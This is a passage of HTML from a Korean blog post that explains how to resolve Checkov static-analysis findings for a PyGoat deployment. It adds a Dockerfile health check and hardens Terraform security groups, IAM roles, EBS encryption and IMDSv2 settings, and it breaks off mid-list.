&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;552&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/FCOLO/dJMcacwfmFa/5Nhbclvjl1k3z11x8EDCEK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/FCOLO/dJMcacwfmFa/5Nhbclvjl1k3z11x8EDCEK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/FCOLO/dJMcacwfmFa/5Nhbclvjl1k3z11x8EDCEK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFCOLO%2FdJMcacwfmFa%2F5Nhbclvjl1k3z11x8EDCEK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;552&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;552&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;취약점 해결&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그에서 확인된 &lt;b&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;CKV_DOCKER_2&lt;/span&gt; &lt;/b&gt;취약점은 Dockerfile내에 컨테이너의 상태를 주기적으로 확인하는 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;HEALTHCHECK&lt;/span&gt; 명령어가 없기 때문에 발생&lt;/p&gt;
&lt;pre id=&quot;code_1777910022695&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;USER pygoat

HEALTHCHECK --interval=30s --timeout=5s --retries=3 \
  CMD python3 -c 'import urllib.request; urllib.request.urlopen(&quot;http://localhost:8000/&quot;)' || exit 1

EXPOSE 8000&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;python 내부 라이브러리를 활용하여 Healthcheck 기능을 넣어서 다시 검사하면 pass 상태로 변경된다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;816&quot; data-origin-height=&quot;172&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mJYyB/dJMcabcYXLr/F6af9o17P5f6P7hXoRQCxk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mJYyB/dJMcabcYXLr/F6af9o17P5f6P7hXoRQCxk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mJYyB/dJMcabcYXLr/F6af9o17P5f6P7hXoRQCxk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmJYyB%2FdJMcabcYXLr%2FF6af9o17P5f6P7hXoRQCxk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;816&quot; height=&quot;172&quot; data-origin-width=&quot;816&quot; data-origin-height=&quot;172&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2-4) Terraform 파일 검사&amp;nbsp;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Dockerfile과 마찬가지로 보안 정책(CheckID)에 반하는 취약점들이 나타나는데 그중 몇가지를 확인해보자&lt;/p&gt;
&lt;pre id=&quot;code_1777910175039&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 현재 디렉토리의 모든 Terraform 파일 검사
checkov -d . --framework terraform&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;4&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;4&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;1. 네트워크 노출 (CKV_AWS_24, CKV_AWS_107)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;5&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,0,0&quot;&gt;진단&lt;/b&gt;: SSH(22) 및 HTTP(80) 포트가 0.0.0.0/0으로 완전 개방됨.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,1,0&quot;&gt;위협&lt;/b&gt;: 무차별 대입 공격(Brute-force) 및 알려진 취약점을 이용한 서버 탈취 위험 가속화.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;6&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;2. 데이터 보호 및 가시성 (CKV_AWS_8, CKV_AWS_126)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;7&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7,0,0&quot;&gt;진단&lt;/b&gt;: EBS 볼륨 암호화 미적용 및 세부 모니터링(Detailed Monitoring) 비활성.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7,1,0&quot;&gt;위협&lt;/b&gt;: 물리적 데이터 유출 시 평문 노출 위험 및 사고 발생 시 실시간 대응 지연.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;8&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;3. 자격 증명 보안 (CKV_AWS_79, CKV2_AWS_41)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;9&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,0,0&quot;&gt;진단&lt;/b&gt;: IMDSv1 사용 중 및 IAM Role 미부착.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,1,0&quot;&gt;위협&lt;/b&gt;: SSRF(Server-Side Request Forgery) 공격을 통한 인스턴스 메타데이터 및 자격 증명 탈취 가능성 상존.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;취약점 해결&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;i&gt;&lt;b&gt;1) Provider 정의 및 공급망 보안&lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1777910444619&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 1. Provider 및 버전 고정
terraform {
  required_providers {
    aws = {
      source  = &quot;hashicorp/aws&quot;
      version = &quot;~&amp;gt; 5.0&quot; # 공급망 보안을 위한 버전 고정
    }
  }
}

provider &quot;aws&quot; {
  region = &quot;ap-northeast-2&quot; # 서울 리전
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;3&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;terraform {}&lt;/span&gt; 블록: &lt;/b&gt;테라폼이 실행되기 위한 최소한의 조건(프로바이더, 테라폼 버전 등)을 명시하는 메타데이터 블록( 인프라 요구사항 선언 블록)&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;4&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,1,0&quot;&gt;보안적 의미 (공급망 보안):&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;4,1,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,1,1,0,0&quot;&gt;소스 검증(source):&lt;/b&gt; &lt;span style=&quot;background-color: #f6e199;&quot;&gt;hashicorp/aws&lt;/span&gt;와 같이 검증된 &lt;b&gt;공식 출처를 명시하여 악성 코드가 삽입된 가짜 프로바이더 사용을 차단&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,1,1,1,0&quot;&gt;버전 제어(version):&lt;/b&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt; ~&amp;gt; 5.0&lt;/span&gt;과 같은 제약 조건을 통해 &lt;b&gt;업데이트로 인한 인프라 파괴(Breaking Changes)를 방지하고 일관된 배포 환경을 유지&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;provider &quot;aws&quot; {}&lt;/span&gt; 블록: &lt;/b&gt;테라폼이라는 '설계자'가 실제 클라우드에서 사용하는 전용 번역기(플러그인)를 설정하는 블록 (서비스 연결 설정)&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;6&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6,1,0&quot;&gt;주요 설정:&lt;/b&gt; &lt;span style=&quot;background-color: #f6e199;&quot;&gt;region = &quot;ap-northeast-2&quot;&lt;/span&gt;와 같이 리소스가 생성될 물리적 위치(서울 리전)를 결정합니다.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6,2,0&quot;&gt;동작 원리:&lt;/b&gt; 이 블록이 선언되면 테라폼은 시스템 환경(환경 변수, IAM 역할 등)에서 AWS에 접속할 수 있는 자격 증명(열쇠)을 자동으로 찾아 통신을 시도한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;i&gt;&lt;b&gt;2) IAM 역할 및 프로파일 설정 (신규 추가)&lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1777912229831&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 2. IAM 역할 및 프로파일 설정 (신분증 체계 구축)
resource &quot;aws_iam_role&quot; &quot;pygoat_role&quot; {
  name = &quot;pygoat-instance-role&quot;

  assume_role_policy = jsonencode({
    Version = &quot;2012-10-17&quot;
    Statement = [{
      Action = &quot;sts:AssumeRole&quot;
      Effect = &quot;Allow&quot;
      Principal = { Service = &quot;ec2.amazonaws.com&quot; }
    }]
  })
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;IAM(Identity and Access Management)&lt;/b&gt;란 AWS 리소스에 대한 인증과 인가를 제어하는 서비스이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Terraform에서 리소스 타입은 보통 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;[프로바이더]_[서비스]_[리소스]&lt;/span&gt; 형식으로 구성된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;422&quot; data-origin-height=&quot;72&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ccknWy/dJMcadu4kEa/x1UBWOFokyCaaPzR7KM1R0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ccknWy/dJMcadu4kEa/x1UBWOFokyCaaPzR7KM1R0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ccknWy/dJMcadu4kEa/x1UBWOFokyCaaPzR7KM1R0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FccknWy%2FdJMcadu4kEa%2Fx1UBWOFokyCaaPzR7KM1R0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;422&quot; height=&quot;72&quot; data-origin-width=&quot;422&quot; data-origin-height=&quot;72&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6,0,0&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;aws_iam_role &lt;/span&gt;(고정 문법):&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;6,0,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6,0,1,0,0&quot;&gt;정의:&lt;/b&gt; AWS 프로바이더 내부에 정의된 &lt;b data-index-in-node=&quot;22&quot; data-path-to-node=&quot;6,0,1,0,0&quot;&gt;고유 식별자&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6,0,1,1,0&quot;&gt;역할:&lt;/b&gt; &quot;이 리소스는 AWS의 IAM 서비스 중 '역할(Role)'을 만드는 도구다&quot;라고 테라폼에게 알려주는 공식 명칭으로 테라폼에서는 &lt;b&gt;내부적으로 이 키워드를 만나면 AWS의 CreateRole 이라는 실제 API 호출 명령과 매핑&lt;/b&gt;한다.&amp;nbsp; 오타가 나거나(aws_iam_roles 등), 임의로 변경하면 테라폼은 해당 리소스가 무엇인지 인식하지 못하고 에러를 발생시킨다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6,1,0&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;pygoat_role&lt;/span&gt; (자유 명칭) : &lt;/b&gt;사용자가 임의로 붙이는 논리적 이름(식별자)로 중복되지 않게 지으면 된다.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt; &lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,3,0&quot;&gt;name&lt;/b&gt;&lt;/span&gt;: AWS 콘솔 화면에 실제로 표시될 리소스의 실명&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt; assume_role_policy&lt;/span&gt;&lt;/b&gt;(&lt;b&gt;신뢰 관계&lt;/b&gt;) :&amp;nbsp; 이 &lt;b&gt;역할을 사용할 수 있는 주체(Principal)가 누구인가를 정의&lt;/b&gt;한다.&amp;nbsp;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt; &lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,0,0&quot;&gt;Principal = { Service = &quot;ec2.amazonaws.com&quot; }&lt;/b&gt;&lt;/span&gt;: 오직 AWS의 EC2 서비스만이 이 역할을 사용할 수 있음을 나타낸다. 만약 해커가 다른 서비스(ex: Lambda)를 통해 가로채려해도 이 규칙에 의해 거부된다.&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt; &lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,1,0&quot;&gt;Action = &quot;sts:AssumeRole&quot;&lt;/b&gt;:&lt;/span&gt;&amp;nbsp; 이 역할을 빌려 쓰는 행위를 허용함.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1777964028912&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;resource &quot;aws_iam_instance_profile&quot; &quot;pygoat_profile&quot; {
  name = &quot;pygoat-instance-profile&quot;
  role = aws_iam_role.pygoat_role.name
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AWS에서는 보안상의 이유로 EC2 인스턴스가 IAM Role을 직접 읽을 수 없어서 인스턴스 프로파일 이라는 중간 매개체를 사용한다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,0,0&quot;&gt;resource &quot;aws_iam_instance_profile&quot;&lt;/b&gt;&lt;/span&gt;: &quot;인스턴스 프로파일&quot;이라는 규격의 리소스를 생성하겠다는 선언.&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,1,0&quot;&gt;pygoat_profile&lt;/b&gt;&lt;/span&gt;: 테라폼 코드 내부에서 이 리소스를 가리키는 별명.&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,2,0&quot;&gt;name&lt;/b&gt;&lt;/span&gt;: AWS 콘솔에서 확인하게 될 실제 프로파일의 이름.&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,3,0&quot;&gt;role&lt;/b&gt;&lt;/span&gt;: 이 케이스 안에 어떤 신분증을 넣을 것인지 지정. (여기서는 앞서 만든 pygoat_role의 이름을 참조함)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;&lt;i&gt;3) 보안 그룹 및 규칙 최적화 (방화벽 강화)&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1777912273297&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 3. 보안 그룹 본체 (설정 결함 제거)
resource &quot;aws_security_group&quot; &quot;pygoat_sg&quot; {
  name        = &quot;pygoat-final-hardened-sg&quot;
  description = &quot;Hardened security group for PyGoat DevSecOps&quot; # CKV_AWS_23 해결
}

# 3. 보안 그룹 규칙 분리 (CKV_AWS_382 해결)
# SSH 접속 규칙
resource &quot;aws_security_group_rule&quot; &quot;ssh_ingress&quot; {
  description       = &quot;Allow SSH from trusted admin IP only&quot;
  type              = &quot;ingress&quot;
  from_port         = 22
  to_port           = 22
  protocol          = &quot;tcp&quot;
  cidr_blocks       = [&quot;203.0.113.10/32&quot;] # CKV_AWS_24 해결 (특정 IP 제한)
  security_group_id = aws_security_group.pygoat_sg.id
}

# HTTP 접속 규칙
resource &quot;aws_security_group_rule&quot; &quot;http_ingress&quot; {
  description       = &quot;Allow HTTP access from internal network&quot;
  type              = &quot;ingress&quot;
  from_port         = 80
  to_port           = 80
  protocol          = &quot;tcp&quot;
  cidr_blocks       = [&quot;10.0.0.0/16&quot;] # CKV_AWS_107 해결 (내부망 제한)
  security_group_id = aws_security_group.pygoat_sg.id
}

# 아웃바운드 규칙 (나가는 문)
resource &quot;aws_security_group_rule&quot; &quot;all_egress&quot; {
  # checkov:skip=CKV_AWS_382: &quot;Inline rules are preferred for single egress to prevent complexity in this lab&quot;
  # checkov:skip=CKV_AWS_23: &quot;Description is already provided&quot;
  description       = &quot;Allow all outbound traffic for updates&quot;
  type              = &quot;egress&quot;
  from_port         = 0
  to_port           = 0
  protocol          = &quot;-1&quot;
  cidr_blocks       = [&quot;0.0.0.0/0&quot;]
  security_group_id = aws_security_group.pygoat_sg.id
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;3&quot; data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3&quot;&gt;1)&amp;nbsp; 리소스 구성 요소: 본체와 규칙의 분리&lt;/b&gt;&lt;/i&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;4&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,0,0&quot;&gt;보안 그룹 본체 (&lt;span style=&quot;background-color: #f6e199;&quot;&gt;aws_security_group&lt;/span&gt;)&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;4,0,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;보안 규칙들을 담는 &lt;b data-index-in-node=&quot;11&quot; data-path-to-node=&quot;4,0,1,0,0&quot;&gt;'빈 방(Container)'&lt;/b&gt; 역할.&lt;/li&gt;
&lt;li&gt;이름(name)과 설명(description)을 통해 리소스의 정체성 정의.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,1,0&quot;&gt;보안 규칙 (&lt;span style=&quot;background-color: #f6e199;&quot;&gt;aws_security_group_rule&lt;/span&gt;)&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;4,1,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;실제 트래픽을 제어하는 &lt;b data-index-in-node=&quot;13&quot; data-path-to-node=&quot;4,1,1,0,0&quot;&gt;'개별 정책(Policy)'&lt;/b&gt; 역할.&lt;/li&gt;
&lt;li&gt;ingress(들어오는 문)와 egress(나가는 문)로 구분하여 설정.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5&quot;&gt;2)&amp;nbsp; 핵심 연결 고리: (&lt;span style=&quot;background-color: #f6e199;&quot;&gt;security_group_id)&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;6&quot; data-ke-size=&quot;size16&quot;&gt;본체와 규칙은 테라폼의 &lt;b data-index-in-node=&quot;13&quot; data-path-to-node=&quot;6&quot;&gt;참조(Referencing) 메커니즘&lt;/b&gt;을 통해 물리적으로 결합된다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;7&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7,0,0&quot;&gt;연결 방식&lt;/b&gt;: 규칙 리소스 내부의 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;security_group_id&lt;/span&gt; 인자에 본체 리소스의 ID 값(&lt;span style=&quot;background-color: #f6e199;&quot;&gt;aws_security_group.pygoat_sg.id&lt;/span&gt;)을 할당.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7,1,0&quot;&gt;논리적 흐름&lt;/b&gt;:
&lt;ol style=&quot;list-style-type: decimal;&quot; data-path-to-node=&quot;7,1,1&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;테라폼이 본체(pygoat_sg)를 생성하고 AWS로부터 고유 ID를 발급받음.&lt;/li&gt;
&lt;li&gt;이후 생성되는 규칙들이 해당 ID를 '소속 주소'로 인식하고 본체에 귀속됨.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;i&gt;&lt;b&gt;4) EC2 인스턴스 시스템 경화&lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1777912312361&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 4. 서버(EC2) 설정 (시스템 경화)
resource &quot;aws_instance&quot; &quot;pygoat_server&quot; {
  ami           = &quot;ami-0c55b159cbfafe1f0&quot;
  instance_type = &quot;t3.micro&quot; # EBS 최적화를 지원하는 타입으로 변경
  
  ebs_optimized = true # [추가] EBS 최적화 명시적 활성화 (CKV_AWS_135 해결)
  monitoring    = true # [추가] 세부 모니터링 활성화 (CKV_AWS_126 해결)

  # 신분증(IAM Role) 연결 (CKV2_AWS_41 해결)
  iam_instance_profile = aws_iam_instance_profile.pygoat_profile.name
  
  # 위에서 만든 강화된 보안 그룹 연결
  vpc_security_group_ids = [aws_security_group.pygoat_sg.id]

  # [추가] 루트 볼륨 암호화 설정 (CKV_AWS_8 해결)
  root_block_device {
    encrypted = true
  }

  # [추가] IMDSv2 사용 강제 (CKV_AWS_79 해결)
  metadata_options {
    http_endpoint = &quot;enabled&quot;
    http_tokens   = &quot;required&quot; # 토큰 사용을 필수화하여 세션 탈취 방어
  }

  tags = {
    Name = &quot;PyGoat-Hardened-Server&quot;
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/i&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;3&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3&quot;&gt;1) 인프라 보안 및 성능 최적화&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;4&quot; data-ke-list-type=&quot;disc&quot;&gt;
